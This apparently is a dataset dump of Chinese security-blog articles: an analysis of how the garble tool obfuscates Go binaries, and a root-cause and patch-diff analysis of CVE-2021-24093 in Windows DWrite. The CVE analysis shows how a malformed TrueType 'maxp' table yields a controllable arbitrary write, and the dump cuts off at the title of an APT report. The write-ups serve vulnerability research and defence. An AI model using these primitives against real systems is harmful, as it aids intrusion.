text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：rook1e@知道创宇404实验室
时间：2021年5月19日 **
近年来 Golang 热度飙升，得益于其性能优异、开发效率高、跨平台等特性，被广泛应用在开发领域。在享受 Golang
带来便利的同时，如何保护代码、提高逆向破解难度也是开发者们需要思考的问题。
由于 Golang 的反射等机制，需要将文件路径、函数名等大量信息打包进二进制文件，这部分信息无法被 strip，所以考虑通过混淆代码的方式提高逆向难度。
本文主要通过分析 [burrowers/garble](https://github.com/burrowers/garble) 项目的实现来探索
Golang 代码混淆技术，因为相关资料较少，本文大部分内容是通过阅读源码来分析的，如有错误请师傅们在评论区或邮件指正。
## 前置知识
### 编译过程
Go 的编译过程可以抽象为：
1. 词法分析：将字符序列转换为 token 序列
2. 语法分析：解析 token 成 AST
3. 类型检查
4. 生成中间代码
5. 生成机器码
本文不展开编译原理的内容，详细内容推荐阅读 [Go 语言设计与实现
#编译原理](https://draveness.me/golang/docs/part1-prerequisite/ch02-compile/golang-compile-intro/) 和 [Introduction to the Go
compiler](https://github.com/golang/go/tree/master/src/cmd/compile)。
下面我们从源码角度更直观的探索编译的过程。`go build` 的实现在
`src/cmd/go/internal/work/build.go`，忽略设置编译器类型、环境信息等处理，我们只关注最核心的部分：
func runBuild(ctx context.Context, cmd *base.Command, args []string) {
...
var b Builder
...
pkgs := load.PackagesAndErrors(ctx, args)
...
a := &Action{Mode: "go build"}
for _, p := range pkgs {
a.Deps = append(a.Deps, b.AutoAction(ModeBuild, depMode, p))
}
...
b.Do(ctx, a)
}
这里的 Action 结构体表示一个行为，每个 action 有描述、所属包、依赖（Deps）等信息，所有关联起来的 action 构成一个 action
graph。
// An Action represents a single action in the action graph.
type Action struct {
Mode string // description of action operation
Package *load.Package // the package this action works on
Deps []*Action // actions that must happen before this one
Func func(*Builder, context.Context, *Action) error // the action itself (nil = no-op)
...
}
在创建好 a 行为作为“根顶点”后，遍历命令中指定的要编译的包，为每个包创建 action，这个创建行为是递归的，创建过程中会分析它的依赖，再为依赖创建
action，例如 `src/cmd/go/internal/work/action.go (b *Builder) CompileAction` 方法：
for _, p1 := range p.Internal.Imports {
a.Deps = append(a.Deps, b.CompileAction(depMode, depMode, p1))
}
最终的 `a.Deps` 就是 action graph 的“起点”。构造出 action graph 后，将 a 顶点作为“根”进行深度优先遍历，把依赖的
action 依次加入任务队列，最后并发执行 `action.Func`。
每一类 action 的 Func 都有指定的方法，是 action 中核心的部分，例如：
a := &Action{
Mode: "build",
Func: (*Builder).build,
...
}
a := &Action{
Mode: "link",
Func: (*Builder).link,
...
}
...
进一步跟进会发现，除了一些必要的预处理，`(*Builder).link` 中会调用 `BuildToolchain.ld`
方法，`(*Builder).build` 会调用
`BuildToolchain.symabis`、`BuildToolchain.gc`、`BuildToolchain.asm`、`BuildToolchain.pack`
等方法来实现核心功能。BuildToolchain 是 toolchain 接口类型的，定义了下列方法：
// src/cmd/go/internal/work/exec.go
type toolchain interface {
// gc runs the compiler in a specific directory on a set of files
// and returns the name of the generated output file.
gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, out []byte, err error)
// cc runs the toolchain's C compiler in a directory on a C file
// to produce an output file.
cc(b *Builder, a *Action, ofile, cfile string) error
// asm runs the assembler in a specific directory on specific files
// and returns a list of named output files.
asm(b *Builder, a *Action, sfiles []string) ([]string, error)
// symabis scans the symbol ABIs from sfiles and returns the
// path to the output symbol ABIs file, or "" if none.
symabis(b *Builder, a *Action, sfiles []string) (string, error)
// pack runs the archive packer in a specific directory to create
// an archive from a set of object files.
// typically it is run in the object directory.
pack(b *Builder, a *Action, afile string, ofiles []string) error
// ld runs the linker to create an executable starting at mainpkg.
ld(b *Builder, root *Action, out, importcfg, mainpkg string) error
// ldShared runs the linker to create a shared library containing the pkgs built by toplevelactions
ldShared(b *Builder, root *Action, toplevelactions []*Action, out, importcfg string, allactions []*Action) error
compiler() string
linker() string
}
Go 分别为 gc 和 gccgo 编译器实现了此接口，`go build` 会在程序初始化时进行选择：
func init() {
switch build.Default.Compiler {
case "gc", "gccgo":
buildCompiler{}.Set(build.Default.Compiler)
}
}
func (c buildCompiler) Set(value string) error {
switch value {
case "gc":
BuildToolchain = gcToolchain{}
case "gccgo":
BuildToolchain = gccgoToolchain{}
...
}
这里我们只看 gc 编译器部分 `src/cmd/go/internal/work/gc.go`。以 gc 方法为例：
func (gcToolchain) gc(b *Builder, a *Action, archive string, importcfg, embedcfg []byte, symabis string, asmhdr bool, gofiles []string) (ofile string, output []byte, err error) {
// ...
// 拼接参数
// ...
args := []interface{}{cfg.BuildToolexec, base.Tool("compile"), "-o", ofile, "-trimpath", a.trimpath(), gcflags, gcargs, "-D", p.Internal.LocalPrefix}
// ...
output, err = b.runOut(a, base.Cwd, nil, args...)
return ofile, output, err
}
粗略的看，其实 gc 方法并没有实现具体的编译工作，它的主要作用是拼接命令来调用路径为 `base.Tool("compile")`
的二进制程序。这些程序可以被称为 Go 编译工具，位于 `pkg/tool` 目录下，源码位于
`src/cmd`。同理，其他的方法也是调用了相应的编译工具完成实际的编译工作。
细心的读者可能会发现一个有趣的问题：拼接的命令中真正的运行对象并不是编译工具，而是 `cfg.BuildToolexec`。跟进到定义处可知它是由 `go
build -toolexec` 参数设置的，官方释义为：
-toolexec 'cmd args'
a program to use to invoke toolchain programs like vet and asm.
For example, instead of running asm, the go command will run
'cmd args /path/to/asm <arguments for asm>'.
即用 `-toolexec` 指定的程序来运行编译工具。这其实可以看作是一个 hook
机制，利用这个参数来指定一个我们的程序，在编译时用这个程序调用编译工具，从而介入编译过程，下文中分析的 garble
项目就是使用了这种思路。附一段从编译过程中截取的命令（ `go build -n` 参数可以输出执行的命令）方便理解，比如我们指定了
`-toolexec=/home/atom/go/bin/garble`，那么编译时实际执行的就是：
/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go
总结一下，`go build` 通过拼接命令的方式调用 compile 等编译工具来实现具体的编译工作，我们可以使用 `go build
-toolexec` 参数来指定一个程序“介入”编译过程。
### go/ast
Golang 中 AST 的类型及方法由 go/ast 标准库定义。后文分析的 garble 项目中会有大量涉及 go/ast
的类型断言和类型选择，所以有必要对这些类型有大致了解。大部分类型定义在 `src/go/ast/ast.go`
，其中的注释足够详细，但为了方便梳理关系，笔者整理了关系图，图中的分叉代表继承关系，所有类型都基于 Node 接口：
本文无意去深入探究 AST，但相信读者只要对 AST 有基础的了解就足以理解本文的后续内容。如果理解困难，建议阅读
[Go语法树入门——开启自制编程语言和编译器之旅！](https://github.com/chai2010/go-ast-book/)
补充需要的知识，也可以通过在线工具 [goast-viewer](https://yuroyoro.github.io/goast-viewer/index.html) 将 AST 可视化来辅助分析。
## 工具分析
开源社区中关于 Go 代码混淆 star 比较多的两个项目是
[burrowers/garble](https://github.com/burrowers/garble) 和
[unixpickle/gobfuscate](https://github.com/unixpickle/gobfuscate)，前者的特性更新一些，所以本文主要分析
garble，版本
[8edde922ee5189f1d049edb9487e6090dd9d45bd](https://github.com/burrowers/garble/tree/8edde922ee5189f1d049edb9487e6090dd9d45bd)。
### 特性
* 支持 modules，Go 1.16+
* 不处理以下情况：
* CGO
* `ignoreObjects` 标记的：
* 传入 `reflect.ValueOf` 或 `reflect.TypeOf` 方法的参数的类型
* `go:linkname` 中使用的函数
* 导出的方法
* 从未混淆的包中引入的类型和变量
* 常量
* runtime 及其依赖的包（[support obfuscating the runtime package #193](https://github.com/burrowers/garble/issues/193)）
* Go 插件
* 哈希处理符合条件的包、函数、变量、类型等的名称
* 将字符串替换为匿名函数
* 移除调试信息、符号表
* 可以设置 `-debugdir` 输出混淆过的 Go 代码
* 可以指定不同的种子以混淆出不同的结果
整体上可以将 garble 分为两种模式：
* 主动模式：当命令传入的第一个指令与 garble 的预设相匹配时，代表是被用户主动调用的。此阶段会根据参数进行配置、获取依赖包信息等，然后将配置持久化。如果指令是 build 或 test，则再向命令中添加 `-toolexec=path/to/garble` 将自己设置为编译工具的启动器，引出启动器模式
* 启动器模式：对 tool/asm/link 这三个工具进行“拦截”，在编译工具运行前进行源代码混淆、修改运行参数等操作，最后运行工具编译混淆后的代码
获取和修改参数的工作花费了大量的代码，为了方便分析，后文会将其一笔带过，感兴趣的读者可以查询官方文档来了解各个参数的作用。
### 构造目标列表
构造目标列表的行为发生在主动模式中，截取部分重要的代码：
// listedPackage contains the 'go list -json -export' fields obtained by the
// root process, shared with all garble sub-processes via a file.
type listedPackage struct {
Name string
ImportPath string
ForTest string
Export string
BuildID string
Deps []string
ImportMap map[string]string
Standard bool
Dir string
GoFiles []string
// The fields below are not part of 'go list', but are still reused
// between garble processes. Use "Garble" as a prefix to ensure no
// collisions with the JSON fields from 'go list'.
GarbleActionID []byte
Private bool
}
func setListedPackages(patterns []string) error {
args := []string{"list", "-json", "-deps", "-export", "-trimpath"}
args = append(args, cache.BuildFlags...)
args = append(args, patterns...)
cmd := exec.Command("go", args...)
...
cache.ListedPackages = make(map[string]*listedPackage)
for ...{
var pkg listedPackage
...
cache.ListedPackages[pkg.ImportPath] = &pkg
...
}
}
核心是利用 `go list` 命令，其中指定的 `-deps` 参数官方释义为：
> The -deps flag causes list to iterate over not just the named packages but
> also all their dependencies. It visits them in a depth-first post-order
> traversal, so that a package is listed only after all its dependencies.
> Packages not explicitly listed on the command line will have the DepOnly
> field set to true.
这里的遍历其实与前文分析的 `go build` 创建 action 时的很相似。通过这条命令 garble
可以获取到项目所有的依赖信息（包括间接依赖），遍历并存入 `cache.ListedPackages`。除此之外还要标记各个依赖包是否在
`env.GOPRIVATE` 目录下，只有此目录下的文件才会被混淆（特例是使用了 `-tiny` 参数时会处理一部分
runtime）。可以通过设置环境变量 `GOPRIVATE="*"` 来扩大范围以获得更好的混淆效果。关于混淆范围的问题，garble
的作者也在尝试优化：[idea: break away from GOPRIVATE?
#276](https://github.com/burrowers/garble/issues/276)。
至此，需要混淆的目标已经明确。加上一些保存配置信息的操作，主动模式的任务已基本完成，然后就可以运行拼接起的命令，引出启动器模式。
启动器模式中会对 compile/asm/link 这三个编译器工具进行拦截并“介入编译过程”，打起引号是因为 garble
实际上并没有完成任何实际的编译工作，如同 `go build`
，它只是作为中间商修改了源代码或者修改了命令中传给编译工具的参数，最后还是要依靠这三个编译工具来实现具体的编译工作，下面逐一分析。
### compile
实现位于 `main.go transformCompile` 函数，主要工作是处理 go 文件和修改命令参数。`go build -n`
参数可以输出执行的命令，我们可以在使用 garble 时传入这个参数来更直观的了解编译过程。截取其中一条：
/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go
这条命令使用 compile 编译工具来将 `cond.go` 等诸多文件编译成中间代码。garble 识别到当前的编译工具是
compile，于是”拦截“，在工具运行前做一些混淆等工作。下面分析一下相对重要的部分。
首先要将传入的 go 文件解析成 AST：
var files []*ast.File
for _, path := range paths {
file, err := parser.ParseFile(fset, path, nil, parser.ParseComments)
if err != nil {
return nil, err
}
files = append(files, file)
}
然后进行类型检查， 这也是正常编译时会进行的一步，类型检查不通过则代表文件无法编译成功，程序退出。
因为参与反射（`reflect.ValueOf` / `reflect.TypeOf`）的节点的类型名称可能会在后续逻辑中使用，所以不能对其名称进行混淆：
if fnType.Pkg().Path() == "reflect" && (fnType.Name() == "TypeOf" || fnType.Name() == "ValueOf") {
for _, arg := range call.Args {
argType := tf.info.TypeOf(arg)
tf.recordIgnore(argType, tf.pkg.Path())
}
}
这里引出了一个贯穿每次 compile 生命周期的重要 map，记录了所有不能进行混淆的对象：用在反射参数的类型，用在常量表达式和
`go:linkname` 的标识符，从没被混淆的包中引入的变量和类型：
// ignoreObjects records all the objects we cannot obfuscate. An object
// is any named entity, such as a declared variable or type.
//
// So far, this map records:
//
// * Types which are used for reflection; see recordReflectArgs.
// * Identifiers used in constant expressions; see RecordUsedAsConstants.
// * Identifiers used in go:linkname directives; see handleDirectives.
// * Types or variables from external packages which were not
// obfuscated, for caching reasons; see transformGo.
ignoreObjects map[types.Object]bool
我们以判别「用在常量表达式中的标识符」且类型是 `ast.GenDecl` 的情况为例：
// RecordUsedAsConstants records identifieres used in constant expressions.
func RecordUsedAsConstants(node ast.Node, info *types.Info, ignoreObj map[types.Object]bool) {
visit := func(node ast.Node) bool {
ident, ok := node.(*ast.Ident)
if !ok {
return true
}
// Only record *types.Const objects.
// Other objects, such as builtins or type names,
// must not be recorded as they would be false positives.
obj := info.ObjectOf(ident)
if _, ok := obj.(*types.Const); ok {
ignoreObj[obj] = true
}
return true
}
switch x := node.(type) {
...
// in a const declaration all values must be constant representable
case *ast.GenDecl:
if x.Tok != token.CONST {
break
}
for _, spec := range x.Specs {
spec := spec.(*ast.ValueSpec)
for _, val := range spec.Values {
ast.Inspect(val, visit)
}
}
}
}
假设需要混淆的代码是：
package obfuscate
const (
H2 string = "a"
H4 string = "a" + H2
H3 int = 123
H5 string = "a"
)
可以看到用于常量表达式的标识符是 H2，我们通过代码分析一下判定过程。首先整个 const 块符合 `ast.GenDecl` 类型，然后遍历其
Specs（每个定义），对每个 spec 遍历其 Values（等号右边的表达式），再对 val 中的元素使用 `ast.Inspect()` 遍历执行
`visit()`，如果元素节点的类型是 `ast.Ident` 且指向的 obj 的类型是 `types.Const`，则将此 obj 记入
`tf.recordIgnore`。有点绕，我们把 AST 打印出来看：
可以很清晰地看到 `H4 string = "a" + H2` 中的 H2 完全符合条件，所以应该被记入
`tf.recordIgnore`。接下来要分析的功能中会涉及到大量类型断言和类型选择，看起来复杂但本质上与刚刚的分析过程类似，我们只要将写个 demo
并打印出 AST 就很容易理解了。
回到 `main.go transformCompile`。接下来对当前的包名进行混淆并写入命令参数和源文件中，要求文件既不是 main 包，也不在
`env.GOPRIVATE` 目录之外。下一步将处理注释和源代码，这里会对 runtime 和 CGO 单独处理，我们大可忽略，直接看对普通 Go
代码的处理：
// transformGo obfuscates the provided Go syntax file.
func (tf *transformer) transformGo(file *ast.File) *ast.File {
if opts.GarbleLiterals {
file = literals.Obfuscate(file, tf.info, fset, tf.ignoreObjects)
}
pre := func(cursor *astutil.Cursor) bool {...}
post := func(cursor *astutil.Cursor) bool {...}
return astutil.Apply(file, pre, post).(*ast.File)
}
首先混淆字符，然后递归处理 AST 的每个节点，最后返回处理完成的 AST。这几部分的思路很相似，都是利用 `astutil.Apply(file,
pre, post)` 进行 AST 的递归处理，其中 pre 和 post
函数分别用于访问孩子节点前和访问后。这部分的代码大都是比较繁琐的筛选操作，下面仅作简要分析：
* `literals.Obfuscate pre`
跳过如下情况：值需要推导的、含有非基础类型的、类型需要推导的（隐式类型定义）、ignoreObj 标记了的常量。将通过筛选的常量的 token 由
const 改为 var，方便后续用匿名函数代替常量值，但如果一个 const 块中有一个不能被改为 var，则整个块都不会被修改。
* `literals.Obfuscate post`
将字符串、byte 切片或数组的值替换为匿名函数，效果如图：
* `transformGo pre`
跳过名称中含有 `_`（未命名） `_C / _cgo` （cgo 代码）的节点，若是嵌入字段则要找到实际要处理的 obj，再根据 obj
的类型继续细分筛选：
* `types.Var` ：跳过非全局变量，若是字段则则将其结构体的类型名作为 hash salt，如果字段所属结构体是未被混淆的，则记入 `tf.ignoreObjects`
* `types.TypeName`：跳过非全局类型，若该类型在定义处没有混淆，则跳过
* `types.Func`：跳过导出的方法、main/ init/TestMain 函数 、测试函数
若节点通过筛选，则将其名称进行哈希处理
* `transformGo post`：哈希处理导入路径
至此已经完成了对源代码的混淆，只需要将新的代码写入临时目录，并把地址拼接到命令中代替原文件路径，一条新的 compile
命令就完成了，最后执行这条命令就可以使用编译工具编译混淆后的代码。
### asm
比较简单，只作用于 private 的包，核心操作如下：
* 将临时文件夹路径添加到 `-trimpath` 参数首部
* 将调用的函数的名称替换为混淆后的，Go 汇编文件中调用的函数名前都有 `·`，以此为特征搜索
### link
比较简单，核心操作如下：
* 将 `-X pkg.name=str` 参数标记的包名（pkg）、变量名（name）替换为混淆后的
* 将 `-buildid` 参数置空以避免 build id 泄露
* 添加 `-w -s` 参数以移除调试信息、符号表、DWARF 符号表
## 混淆效果
编写一小段代码，分别进行 `go build .` 和 `go env -w GOPRIVATE="*" && garble -literals build
.` 两次编译。可以看到左侧很简单的代码经过混淆后变得难以阅读：
再放入 IDA 中用 [go_parser](https://github.com/0xjiayu/go_parser)
解析一下。混淆前的文件名函数名等信息清晰可见，代码逻辑也算工整：
混淆后函数名等信息被乱码替代，且因为字符串被替换为了匿名函数，代码逻辑混乱了许多：
当项目更大含有更多依赖时，代码混淆所带来的混乱会更加严重，且由于第三方依赖包也被混淆，逆向破解时就无法通过引入的第三方包来猜测代码逻辑。
## 总结
本文从源码实现的角度探究了 Golang 编译调用工具链的大致流程以及
[burrowers/garble](https://github.com/burrowers/garble) 项目，了解了如何利用 go/ast
对代码进行混淆处理。通过混淆处理，代码的逻辑结构、二进制文件中存留的信息变得难以阅读，显著提高了逆向破解的难度。
* * * | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/8GOXFfQZOvGB7W-sD6osLA>**
## 0x00前言
Windows图形组件DWrite库是用于高质量文本呈现的用户模式动态库，DWrite库存在远程代码执行漏洞。目前已有POC，POC可以实现任意地址写任意内容。
基于此我们做了分析，分析后得知字体库文件中的”maxp”表内容存在错误数据时，DWrite库使用此数据计算字体所需内存，导致分配内存过小，程序读取字体库中的数据写入数组并越界写入
到另外一个数据结构中，后续将结构中数据作为指针操作其中内容，写入数据和指针都可控。通过分析补丁，补丁修补方案为：取出”maxp”表的另一字段再加4，比较之前畸形数据得到较大值，以此计算需要分配内存大小。
文章包含如下内容：
定位chrome引擎的渲染进程
使用条件记录断点动态调试分析
使用IDA补丁比较静态分析
## 0x01漏洞信息
### 漏洞简述
漏洞名称：（Windows图形组件远程执行代码漏洞）
漏洞编号：（CVE-2021-24093）
漏洞类型：（数组越界写）
漏洞影响：（远程代码执行）
CVSS评分：（8.8）
利用难度：不太容易利用
基础权限：需要用户访问网页
### 组件概述
Microsoft DirectWrite是用于高质量文本呈现的现代Windows
API。它的大部分代码位于DWrite.dll用户模式库中。它用作各种广泛使用的桌面程序（例如Windows上的chrome，Firefox和Edge）的字体光栅化程序。
### 漏洞利用
使用chrome浏览器访问Web页面，渲染引擎进程异常，导致chorme页面崩溃。
### 漏洞影响
漏洞主要影响Win10的某些版本及Windows Server 2016、2019、2004、20H2等系统。
## 0x02漏洞复现
CVE-2021-21087
### 环境搭建
靶机环境: Windows 1909专业版 x64、chrome 86.0.4240.193 （64位）
poc.html放在本机，漏洞环境也在本机。
### 复现过程
1.将POC文件与poc.ttf放在同一目录下，使用chrome打开poc.html文件。
2.页面打开，点击确定按钮加载ttf文件。
3.浏览器渲染引擎进程崩溃
4.定位进程崩溃地点
（1）打开Html页面时会启动多个chrome进程，首先需要定位到哪个是渲染引擎进程。
（2）先关闭chrome浏览器(否则会影响定位结果)，使用火绒剑来定位渲染引擎进程，清空火绒剑记录内容，开启监控，设置动作过滤包括进程启动和进程退出，点击确定，然后开启监控，如下：
（3）使用chrome打开poc.html，在弹出框上点击确定，之后渲染引擎崩溃，关闭监控，查看监控到的内容，过滤监控内容，只需要包含chrome.exe的记录，如下：
（4）可以看到最后一个进程退出，进程ID为4228，渲染引擎崩溃，进程应该也会退出，假设最后一个进程是渲染引擎进程，它创建记录是在从上往下数第七个，再试一次，重复(2-3)的过程，这次打开poc.html之后不要点击确定按钮，查看火绒剑记录如下：
定位到第七个进程，进程ID为4948，使用Windbg
x64附加此进程，(如果chrome浏览器切换到后台，比如我点击回到桌面，chrome会自动点击确定按钮，导致渲染进程退出，可以先打开windbg，不用切回桌面再打开windbg，或者使用双屏幕也可以。)
附加成功之后，输入g继续运行，然后回到浏览器中，点击确定按钮，windbg断下，如下：
可以看到引用一个错误的内存地址，发生异常，可知已经定位到正确的渲染进程。
## **0x03漏洞分析**
### 基本信息
漏洞文件：DWrite.dll
漏洞函数：`fsg_ExecuteGlyph`
漏洞对象：TrueType字体中的”maxp”表
### 背景知识
TrueType字体通常包含在单个TrueType字体文件中，其后缀为.TTF。TrueType中的所有数据都使用big-endian编码，TTF文件中包含了字体的版本号和几个表，每个表都有一个TableEntry结构项，TableEntry结构包含了资源标记、校验和、偏移量和每个表的大小。下面是TrueType字体目录的C语言定义:
typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
}TableEntry;
typedef struct
{
Fixed sfntversion; //0x00010000 for version 1.0
USHORT numTables;
USHORT searchRange;
USHORT entrySelector;
USHORT rangeShift;
TableEntry entries[1];//variable number of TableEntry
}TableDirectory;
文件开头为TableDirectory结构体，
TableDirectory结构的最后一个字段是可变长度的TableEntry结构的数组，每个结构对应一个表。TrueType字体中的每个表都保存了不同的逻辑信息，其中”maxp”表的作用是描述字体中所需内存分配情况的汇总数据，”maxp”表的内容具体结构为：
typedef struct
{
Fixed version;// 0x00010000 for version 1.0
USHORT numGlyphs;
USHORT maxPoints;// 非复合字形中的最大点
USHORT maxContours;
USHORT maxCompositePoints;// 复合字形中的最大点
USHORT maxCompositeContours;
USHORT maxZones;
USHORT maxTwilightPoints;
USHORT maxStorage;
USHORT maxFunctionDefs;
USHORT maxInstructionDefs;
USHORT maxStackElements;
USHORT maxSizeOfInstructions;
USHORT maxComponentElements;// 任何复合字形在“顶级”处引用的最大组件数
USHORT maxComponentDepth;
}
### 详细分析
#### 1\. 基础分析
poc.ttf中数据:
图中箭头1指向的数据为”maxp”表的TableEntry结构，Offset字段为00000158为箭头2所指向的地方，是”maxp”表内容的具体结构，maxPoints字段值为0(距离箭头2偏移0x6)，`maxCompositePoints`字段为3(距离箭头2偏移0xA)。
AE标志符号的表条目中的x和y增量在运行时会覆盖到另一个数据结构，TTF中内容如下：
异常触发时指令为`add word ptr [r8+56h]，ax`，ax为
`0x9E9F`(图中1标记)，r8为`0x00007A7B00007879`(图中2标记)的地址处，78 79 7A
7B都是TTF中的数据，补0是因为在异常指令之前对x数组和y数组调用了memset初始化内存空间。
poc.html中如下：
正常情况下，ttf文件中maxPoints字段值为`0x168`，`maxCompositePoins`字段值为0x2352，在poc.ttf文件中将”maxp”结构中maxPoints字段的值改为0，将`maxCompositePoins`值改为3，当加载并光栅化损坏的”maxp”表的数据时，会导致堆分配缓冲区过小，调用栈如下：
当复合字形Æ（AE，HTML实体＆＃198;，U + 00C6）被栅格化时，函数`DWrite! fsg_ExecuteGlyph`崩溃，调用栈如下：
`fsg_ExecuteGlyph`函数内部对堆块内部的两个整数数组(对应于x和y坐标)进行操作，使用0x148这个长度调用memset来初始化两个数组，但是数组的长度小于0x148，会将跟在数组后面的一个指针置0。
如果字体是一个变量且指定了轴值，它还将调用`TrueTypeRasterizer ::
Implementation::ApplyOutlineVariation-> GlyphOutlineVariationInterpolator ::
ApplyVariation`会从TTF中获取数据赋值给数组内的成员，但是数组较小，所以将数组后面的指针置为TTF中的数据。之后会向这个指针指向的地址中写入数据导致异常。
漏洞库版本如下：
#### 2.静态分析
崩溃函数`fsg_ExecuteGlyph`分析
在大的堆块中，有两块内存分别用于x数组和y数组，调用memset初始化，之后调用call
cs:off_7FFF41C70D10
，函数内部会调用`DWrite!TrueTypeRasterizer::Implementation::ApplyOutlineVariation`给x数组和y数组赋值,addr1指向的内存没有0x148字节那么大，所以会写到其它的数据对象上，接下里会引用被覆盖的数据作为指针去写数据：
`rsi+8`中的数据被数组赋值时修改了，使用TTF中的数据覆盖了`[rsi+8]`的数据，`0x00007FFF41B341F6`地址处调用的指令`dd
[r8+56],ax，`其中ax中的数据也是可以控制的。
##### 函数调用链
计算内存大小的函数调用链为
`TrueTypeRasterizer::Implementation::Initialize-> fs_NewSfnt
->fsg_WorkSpaceSetOffsets`函数`fsg_WorkSpaceSetOffsets`内部计算需要申请的内存空间大小并将结果传出到fs_NewSfnt中。
`fs_NewSfnt`获取需要申请的内存大小，之后调用calloc申请内存。
可以看到图中调用完成`fs_NewSfnt`后，在下面的循环中获取v39内存块中的内容作为申请内存的大小。
`fs_NewSfnt`函数内容如下：
v2为传入的第二个参数a2，`*((_DWORD *)v2 + 3)`与`fs_NewSfnt`中取内存大小区域（ _(_DWORD_ )(v14 +
4i64 * j),j为3时）是一致的。
##### 补丁Diff
`fsg_WorkSpaceSetOffsets`函数补丁前后有修改。
查看补丁前`fsg_WorkSpaceSetOffsets`函数伪C代码如下：
其中参数v3指向”maxp”表具体内容
可以看到图中从`maxCompositePoints`和`maxPoints`字段中取较大值，并且与常量1比较取较大值，得到值为3，之后加8，得到0xb，作为第一个参数传入`fsg_GetOutlineSizeAndOffsets`中，这个函数看名称应该是获取轮廓的大小和偏移值。
补丁后`fsg_WorkSpaceSetOffsets`函数伪C代码有点问题，所以下面贴出汇编代码如下：
打过补丁后，程序是先从`maxCompositePoints`和`maxPoints`字段中取较大值，得到3，再与1比较得较大值仍然为3，3+8得到0xb，再取出maxp表中`maxComponentElements`字段，POC中此值为0x0062，相对”maxp”表具体内容偏移为0x1C
`0x62+4=0x66`，比较0x66与0xb得到较大值作为第一个参数传入`fsg_GetOutlineSizeAndOffsets`函数中。
函数`fsg_GetOutlineSizeAndOffsets`没有变化，只是因为传入的第一个参数不同，所以最终计算出的结果也不同。
##### 漏洞函数分析
`fsg_ExecuteGlyph`函数对堆块内部的两个整数数组，对应于x坐标和y坐标进行操作，实际上数组的较小，`fsg_ExecuteGlyph`函数先调用了两次memset将数组清零，如果字体是一个变量且指定了轴值，还会调用`TrueTypeRasterizer::Implementation::ApplyOutlineVariation->GlyphOutlineVariationInterpolator::ApplyVariation`将字体中的数据赋值到坐标数组，这样就会破坏到后续的结构成员。
#### 3\. 动态分析
计算所需内存的过程可以通过条件断点的方式来调试，附加到调试器后，可以设置如下断点命令，
bp DWrite!TrueTypeRasterizer::Implementation::Initialize "r $t0=$t0+1; .printf \"Initialize times:%d\n\",@$t0;.echo;gc"
可以看到第13次调用`TrueTypeRasterizer::Implementation::Initialize`函数之后就会进入崩溃。
重新启动，下断点：
bp DWrite!TrueTypeRasterizer::Implementation::Initialize "r $t0=$t0+1; .printf \"Initialize times:%d\n\",@$t0;.echo;.if(@$t0 == 0x0D){}.else{gc}"
运行可以看到：
在调用`fs_NewSfnt`之前下断点，查看传入参数内容：
单步步过，再次查看内存，可以看到需要申请的内存大小为0x6fa4。
继续往下运行：
可以看到申请的内存地址为0x00000196bc484b60。
在崩溃函数中下断点，运行：
堆块起始地址为上面的申请的0x00000196bc484b60，调用memset使用的大小为0x148，上面是内存块1，addr1为0x00000196bc4850fc
查看堆块大小以及addr1相对堆块起始地址的偏移大小如下：
最终调用`fsg_ExecuteGlyph+0x772`处的指令`add [r8+56h], ax`时，a8来源于`[rsi+8]`
查看rsi+8相对于堆块的偏移
rsi+8相对于堆块起始地址偏移0x6c8，而addr1相对于堆块起始地址偏移`0x59c，0x59c+0x148=0x6E4>0x6C8，`所以操作addr1中的数据时会覆盖`rsi+8`处的数据，从图上可以看到，调用`memset`后`rsi+8`中的数据初始化为0。
调用`ApplyOutlineVariation`函数之后，`rsi+8`处数据被修改为ttf文件中的数据。（重新启动，内存地址与上面不一样）
继续运行，如下：
可以看到ax为`0x9e9f`，r8为`0x00007a7b00007879`，这两个数据都在poc.ttf文件中的数据，所以这个指针数据可控(where)，要写入的内容(what)也可控。
打过补丁之后查看DWrite!`fsg_ExecuteGlyph`函数没有变化，调试发现整个堆块的大小变得更大了，x数组和y数组的大小还是0x148字节，ESI对象距离堆块起始地址的距离变大，所以在x数组和y数组的赋值过程中没有覆盖到ESI对象,如下：
可以看到堆块大小为0x7d24，之前为0x6fa4。
addr1结束地址为`0x0000015fd070427c<0x0000015fd0704868`，所以数组使用0x148的大小不会覆盖到后面的数据。
## 0x04总结
TTF文件的”maxp”表描述字体中所需内存分配情况的汇总数据，DWrite库没有校验数据，在ttf中写入畸形数据时，程序申请内存过小，导致溢出到其它的数据结构，实现了任意地址写任意数据。补丁在计算所需内存时读取ttf中另一个值+4，与之前畸形数据比较得较大值，申请足够的内存。
## 0x05解决方案
微软已经更新了官方补丁，下载链接：
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24093>
## 0x06参考文献
1.<https://bugs.chromium.org/p/project-zero/issues/detail?id=2123>
2.<https://docs.microsoft.com/en-us/typography/opentype/spec/maxp>
3.<https://blog.csdn.net/blueangle17/article/details/23750999>
* * * | 社区文章 |
# 摩诃草APT团伙新脚本类攻击样本分析报告
##### 译文声明
